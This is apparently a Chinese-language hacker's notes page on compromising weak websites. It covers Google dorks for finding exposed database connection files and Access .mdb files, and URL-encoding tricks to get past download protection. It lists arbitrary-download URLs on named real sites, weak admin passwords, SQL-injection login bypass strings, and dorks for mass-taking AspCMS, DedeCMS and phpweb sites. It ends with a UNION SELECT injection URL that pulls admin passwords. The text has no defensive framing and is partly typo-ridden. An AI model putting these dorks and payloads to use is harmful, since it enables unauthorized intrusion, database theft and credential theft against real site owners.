弱漏洞利用网站
网站暴库漏洞
暴库（常是Access数据库，文件格式：data.mdb；SQLserver、MySQL--->数据库连接文件），就是通过一些技术或者程序漏洞得到数据库的地址，并将数据库非法下载到本地，
hacker非常乐意这种事件的发生，在得到网站数据库之后，就可以得到网站管理员的账号和密码，对网站进行破坏与管理，也能通过数据库的道德网站的隐私信息，甚至是最高权限。（目录遍历漏洞）
利用方法
inurl:/inc/conn.asp
inurl:inc+conn.asp to parent directort intext:
inurl:/inc/conn.asp
inurl:/inc+conn.asp to parent dirctory
所有可以目录浏览的网页都有一些相同的地方，主要有以下几点：
to parent directory
last madifief Description
转到父目录
而利用Google语法来搜索的语句有：
intitle intext inurl site filetype等
搜索域名后缀，常见的域名后缀有：
com net mil org info gov edu biz coop areo pro int arpa
e.g
intext:to parent directory + intext:mdb site:fudan.edu.cn
inc/conn.asp--->inc%5cconn.asp（MySQL数据库与可能的路径）
暴库绕过、过防下载
#sdsf.mdb
下载时改成 %23sdsf.mdb
#@!$%^&*asfkladsf@!#.mdb
%23@%21%24%25%5E%26%2aasdfkladsf@%21%23.mdb
高级语法暴库
inurl:./.. admin ../.. add..
inurl:./.. admin../..del..
inurl:/.asp <id=<%<%<%
下载漏洞
http://ipo.snnu.edu.cn/
http://ipo.snnu.edu.cn/shida/UploadFiles/indentAttFile/201206122041778.doc
http://ipo.snnu.edu.cn/down.asp?fileup=shida/UploadFiles/indentAttFile/2012061222041778.doc
http://www.sxzzy.cn/ggis/news/down.asp?FileName=doc/2101-5/2012053010329973.doc
下载漏洞利用
通过蜘蛛爬行，找到该URL，下载conn.asp config.php config.asp db.mdb
网站后台密码爆破（弱口令 bp）
为了方便管理网站，cms系统畅游管理员后台管理接口，输入账号密码登录进行管理
常见后台
网站常见的cms管理系统有：
织梦 idscuz 帝国 phpweb WordPress aspcms 科讯 南方 良精 ecshop等
对应的后台：
dede admin.php e/admin admin.php wp-admin admin admin admin admin admin
还有可能：manager login_admin login_manage login.asp
弱口令猜解
常见弱口令：admin admin888 admin123 123456等等
逻辑万能秘钥：
asp--> 'ro' = 'or'
php--> admin' or 1=1== admin' or '1'='1
破解工具：burpsuite discuz破解器 py脚本 httpfuzzer（针对带验证码的）
针对性的一些工具：PKav HTTP Fuzzer
将找到的请求包放进去（请求地址，请求包），对密码部分添加标记，对验证码部分添加标记，然后暴力破解。
网站漏洞EXP的利用
EXP是exploit（漏洞利用）的缩写。当我们cms出现漏洞的时候，针对漏洞原理可以写出针对该漏洞的exploit。
有的时候exp可以直接添加管理员或者getshell，爆出管理员账号密码，数据库账号密码。
EXP利用
主流网站基本上都有漏洞和exp
e.g 织梦 phpcms strusl phpweb ...
EXP收集
百度 交流 利用工具
批量检测站点
常用于某一类型的漏洞站点的安全检测
批量拿站
关键词：
有限公司 -- powered by AspCMS v2.0
powered by AspCms 2
powered by AspCms 2.0
AspCms 2.0
powere
关键字：inurl:newgoods.asp:action_key_order=news
利用方法：admin_shopxp/upLoad_bm.asp
漏洞利用：phpweb漏洞
关键字：
inurl:/class/?1.html
inurl:class/index.php?catid=0
inurl:/page/html/?1.html
inurl:news/html/?411.htm
默认后台地址：/admin.php
注入地址：
down/class/index.php?myord=1
news/class/index.php?showtag=
万能密码 admin 'or '1' =' 1
织梦批量，搜索关键字：
powered by DedeCMS_V57_UTF8_SP12004-2011 DesDev LNC
inurl:shopxp_news.asp
TEXTBOX2.Asp?action=madify&news%69d=122%20and%201=2%20union%20select%201,2,admin%2bpassword,4,5,6,7%20from%20shopxp_admin
2019-04-25 11:02:43